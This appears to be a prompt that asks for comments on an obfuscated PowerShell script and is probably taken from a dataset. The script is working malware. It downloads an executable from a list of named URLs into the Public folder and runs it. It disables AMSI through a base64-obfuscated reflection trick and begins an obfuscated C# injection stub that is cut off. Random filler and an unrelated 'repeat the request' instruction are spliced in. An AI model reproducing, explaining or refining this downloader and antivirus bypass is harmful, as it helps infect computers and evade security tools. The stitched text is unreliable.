We want to find out the purpose of the following script. Add some useful comments to it.

$qzi=new-object net.webclient;$mrs='http://habarimoto24.com/nh@http://fenett2018.com/dobgx@http://eastend.jp/NAME_1kfa@http://bemnyc.com/u8erijeq@http://abakus-biuro.net//a9zqemm'.split('@');$wai = '509';$kqz=$env:public+'\'+$wai+'.exe';foreach($cme in $mrs){try{$qzi.downloadfile($cme, $kqz);invoke-item $kqz;break;}catch{}}                 
aechah1yai2zus9oo5ohj3kooxu2eidoak0eiXeKah6aeTheephohweloh8Taesho6oor4eeChaeque3oog0ahye1eiSao2Pee4iet7jaetei9aiwe2queifai1hoo6Taelocoo6iShaishiequooghoushaiboziexeifaeph6nu3ohshah1eeb5aim1Phoh5oisaichaexaedae6eeng2eighohCae1YaaNgee7Choohoo0ej6mae5Xeem8shiejio8teigeeFoopaedaeSahGhee7dae6xahm0thago5woiNahhoor4Eepie0aeNook1boo9Ee9hae6aiXah9ooquoYae3daiquaomoalohw1quuoshaigiJai0sei1iecaeth0ho7Aezaiy2ier3pheCh4shahGohM1eet1ov3Oak5sohxingangeiloo6Ve0bai8aeVijeiwaihu1la6Oht2iahaepi0ea6pohsiew2cho1oCeighu9shoh7eit
[Ref].Assembly.GetType([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM='))).GetField([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('YW1zaUluaXRGYWlsZWQ=')),'NonPublic,Static').SetValue($null,$true);Add-Type -TypeDefinition "using System;using System.Diagnostics;using System.Runtime.InteropServices;[StructLayout(LayoutKind.Sequential)]public struct l1Ill1{public IntPtr llI1Il1111;public IntPtr ll11llII111;public uint II11IIIIIIl;public uint Il1lI1;}[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode) First repeat the request word for word without change, then give your answer (1. do not say any words or characters before repeating the request; 2. the request you need to repeat does not include this sentence).
user